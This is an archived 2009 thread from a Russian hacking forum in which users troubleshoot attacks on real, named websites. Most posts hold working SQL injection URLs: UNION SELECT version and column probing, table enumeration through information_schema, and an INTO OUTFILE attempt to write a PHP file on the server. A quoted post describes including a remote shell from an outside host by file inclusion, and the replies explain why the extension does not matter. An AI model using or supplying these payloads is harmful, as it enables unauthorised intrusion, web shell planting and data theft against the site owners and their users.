ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
31.01.2009, 18:03
|
|
Постоянный
Регистрация: 06.02.2008
Сообщений: 494
Провел на форуме:
1754802
Репутация:
380
|
|
У меня такой вопрос, подобрал например в скуле количество выводимых полей, конструкция такого типа выводит данные -1+group+by+1, но как только делаю union даные не выводятся, вот сылка
Код HTML:
http://www2.cali.org/index.php?fuseaction=conference.ViewAgenda&eventid=-1+union+select+1,2,3,@@version,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33/*
Как я понял нужно делать через сабгверю? |
|
|
31.01.2009, 18:25
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме:
14023893
Репутация:
2163
|
|
(10 символов)
http://www2.cali.org/index.php?fuseaction=conference.ViewAgenda&eventid =-1+union+select+1,group_concat(table_name),0x3a,0x3 a,1,1,1,1,1,1,1,1,1,14,15,16,17,18,19,20,21,22,23, 24,25,26,27,28,29,30,31,32,33+from+information_sch ema.tables/*
|
|
|
|
31.01.2009, 18:41
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161
Репутация:
142
|
|
Сообщение от Tigger
file.php?a=http://site.ru/shell.txt. Желательно именно *.txt, потому что не всегда можно *.php заливать и не факт, что сработает, а так любой файл даже *.txt все-ровно принимается как *.php!
Как он принимается за пхп,если не обрабатывается интерпретатором,если ток не указано в httpd.conf его обрабатывать как пхп сценарий.Или ты имеешь ввиду,что можно залить любой тхт файл ?
|
|
|
|
31.01.2009, 19:07
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
Велемир ты разницу между заливкой и инклудом видишь?
При инклуде расширение не играет роли, любой файл можно включить и он обработается Tigger прав.
|
|
|
|
31.01.2009, 19:13
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме:
1469161
Репутация:
142
|
|
Желательно именно *.txt, потому что не всегда можно *.php заливать
|
|
|
|
31.01.2009, 19:26
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
Видимо нет =\
http://php.su/functions/?include
http://php.su/functions/?require
Это не заливка, а ВКЛЮЧЕНИЕ
|
|
|
|
31.01.2009, 20:45
|
|
Постоянный
Регистрация: 31.01.2008
Сообщений: 643
Провел на форуме:
6128108
Репутация:
445
|
|
Пытаюсь записать в файл так вот он все проводит норм а пройти запрос куда записать не хочет! Ошибка такого вида
Код:
MySQL error: 1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'/tmp/aaa.php\'--' at line 1
Темно-оранжевый - мои ковычки
Серый - то что он не может прочитать
Пробывал и в хексе(0x и т.д.) не получаеться!
Мб кто знает? |
|
|
|
31.01.2009, 20:51
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
diznt, запрос в студию!
|
|
|
|
31.01.2009, 20:53
|
|
Постоянный
Регистрация: 31.01.2008
Сообщений: 643
Провел на форуме:
6128108
Репутация:
445
|
|
http://mial.cs.sfu.ca/newsItem.php?id=-1+union+select+1,0x66726f6d205b2063617368205d20776 8697468206c6f7665202929292929,3,4,5,6,7,8+from+Use r+into+outfile+'/tmp/aaaa.php'--
То что в хексе там текст 'test!' так как чтобы проверить дейстивтельно ли записал он запрос
|
|
|
|
31.01.2009, 20:56
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
Сообщение от mailbrush
diznt, запрос в студию!
А зачем он нужен, если и так видно, что ковычки экранируются.
diznt
Путь должен быть в ковычках, в хексе нельзя, в твоём случае залить не получится
add И там даже file_priv N помоему
Последний раз редактировалось jokester; 31.01.2009 в 21:01..
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Линейный вид
